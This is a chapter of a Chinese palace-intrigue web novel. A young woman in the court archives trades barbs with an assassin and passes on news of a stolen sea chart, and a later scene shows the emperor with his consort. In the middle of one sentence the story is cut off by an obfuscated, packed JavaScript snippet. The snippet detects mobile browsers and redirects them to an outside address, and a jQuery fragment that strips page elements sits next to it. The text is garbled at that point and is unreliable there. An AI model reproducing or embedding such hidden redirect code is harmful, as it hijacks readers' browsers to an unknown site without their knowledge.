“你身上到底装了多少东西?昨天吹毒针被你用棉花挡住,今天用绳子又被剪刀剪了?”就算说是因为提前有了防备,她这未免也准备得太充足了? 周明空没理他,把文书都推开,慌忙从一旁拿了个茶壶过来直接拎着对嘴喝。 终于能喝口水了,山骨既然今天用绳子那就说明水是安全的。 她咕咚咕咚喝了小半壶,这才把茶壶放下,“我都准备了什么哪能告诉你?这就好比是一桌马吊,你糊什么牌肯定也不会告诉我,那怎么指望我告诉你我糊什么牌?” “我说你有点赌品,别总想着跑我这来偷看牌。” 山骨被噎得又不知该说什么,也是头次有暗杀对象把被暗杀这种事比成打牌。 他一脸挫败地准备退去,周明空却忽然又叫住了他,“你且等等。” 山骨的无奈几已攀至顶点,“你还要做什么?” 周明空却完全不理会他的负面情绪,从一摞文书里翻出一卷画轴,在山骨面前展开一角。 那画轴宽约半米,极长,周明空两臂皆展,以她的臂展能打开的长度也不及这张图实际长度的十分之一,图上用青、绿、黄、黑四种颜色标注了辰国海防图示以及沿海地形、地貌、通行路径等,正是陈子兆花了七个月时间绘制的那幅海图堪舆。 山骨仔仔细细地把周明空打开的那一角从上至下又从左至右地看了几遍,确认是真品以后才皱着眉问她:“怎么在你这?” 周明空把图合上,又用绳子缠好,“不是在我这,是在尚书内省留书处。” 她又仔细核查了几遍绳扣是否牢固,“当日我因为写错了留书处受罚,这件事陈子兆知道,你作为他最得力的手下应当也知道。” 山骨先质疑了一下周明空毫不恭敬的称呼:“你怎么直呼殿下名讳?” 周明空翻个大大的白眼,“他都让你每天来杀我一次了,我每天活得胆战心惊的你还指望我对他有多少恭敬?” 要不是之前试过了杀不死这个狗男主,她早揣着水果刀再去刺杀了。 “先说眼前事,之后这卷图就被送到了翰林院学士府,你也知道我们尚书内省压根接触不了外朝,这些文书、留书都是宦官递送,当日那些宦官把图送去之后,回来就和吴执事说,这图翰林院学士府收了,也应承下会妥善保管。” “没有官家发话,这张图就绝对不可能再入宫,你明白我意思吗?” 山骨显然不大明白。 “你看啊,现在外朝里陈子兆和刘娴妃正打得有来有回,官家却突然发话从翰林院学士府把陈子兆画的这张图要了回来,这其中肯定有猫腻啊!” “你怎么知道我家殿下与刘娴妃——” 那是重点吗! 周明空有点有气无力,“麻烦你能不能回去告诉陈子兆——你家殿下,就说他画的海图堪舆在我这,别的也不需要多说了,就这一句。” 就不能指望完美主义的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454239|185313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀手能有一个会拐弯的脑子,她就应该在一开始就简明扼要地说清楚需要山骨做什么。 影子杀手显然还是有些摸不着头脑,但看她那么斩钉截铁、郑重其事,还是按照周明空说的去转告陈子兆了。 周明空看他走远,又把茶壶拎起来,把后半壶也都喝了,直到茶壶嘴里再倒不出丁点茶才放下。 海图堪舆是大约三日之前送到她这的,吴执事亲手送来,也没说具体怎么安排,也没讲为什么会送到她这来,只是让她妥善收好,又说是官家亲自交代,要收在随手可拿的地方。 她自忖这应当算是个重要的消息,但通过任务系统传达给陈子兆显然是存在些风险的。 陈子兆极其提防这个系统,这是其一。 周明空害怕她设计任务时如果又不知道怎么惹了陈子兆,导致他说什么也不肯完成,最后任务失败,那惩罚又会引来不好的后果,这是其二。 每日一杀的赌局还在,她合理地将它当作是陈子兆对她的警戒和提醒。 所以直接让山骨把消息带回去毫无疑问是当前最稳妥的方法。 周明空突然把手边的文书拾起一本,再扔回到桌案上,“噔”的一声,就像是一枚投入湖心的石块,把整座偏殿的静谧都打破了,那一声响从第一个书架越过,接着在最后一列书架上荡成回响。 这日子什么时候是个头啊! 而她在尚书内省里头疼,也有人在别的地方头疼。 辰帝陈子钰的风疾又犯了。 他原本约好晌午要和刘娴妃打双陆,结果棋盘才一摆好,下了不到片刻,他就开始头疼,怎么也落不了子,刘娴妃看他疼得厉害,又不肯扫了她的兴,最后却是直接将棋子从陈子钰手中抢下来,让宫人把棋盘也收好。 “头都疼成这样,还要勉强自己下棋?这双陆本就费脑子。”她口中埋怨,双手却落到他额上按抚,接着又轻柔地压了几下两鬓太阳穴。 陈子钰微微闭上了双目,“我好歹也是要些面子,此时和你说不下了,又拿风疾当借口,听着不就像是知道自己必输,所以同你赖皮?” 刘娴妃忍不住笑了出来,“谁敢说官家赖皮?” “你啊,我第一次同你下双陆,也是犯了风疾,你还不信,说哪有一下棋就说自己头疼的?”他睁开双目,回过头来拉住刘娴妃的手,“你还说,我要是这般赖皮你以后就再也不同我下棋了。” “我的棋艺原本就不及你,也不及子兆。” 刘娴妃双手回握,拉着陈子钰的手,“官家只是日理万机,不曾专研此道。” 陈子钰微笑着,“其实我很好奇,你和子兆下一盘的话,究竟会是谁输、谁赢?” 刘娴妃沉默了片刻,“官家是希望我赢还是他赢呢?” 陈子钰多看了她几眼,“他是我弟弟,我自然不希望他输,可如果你输了,便是我输了。” 他们是一体夫妻,休戚与共。 刘娴妃也笑了下,“哪有官家说的这么严重?燕王殿下这不就在内宫,过几日中秋游船,我同他下一局试一试,届时不就知道究竟是谁棋高一着了?”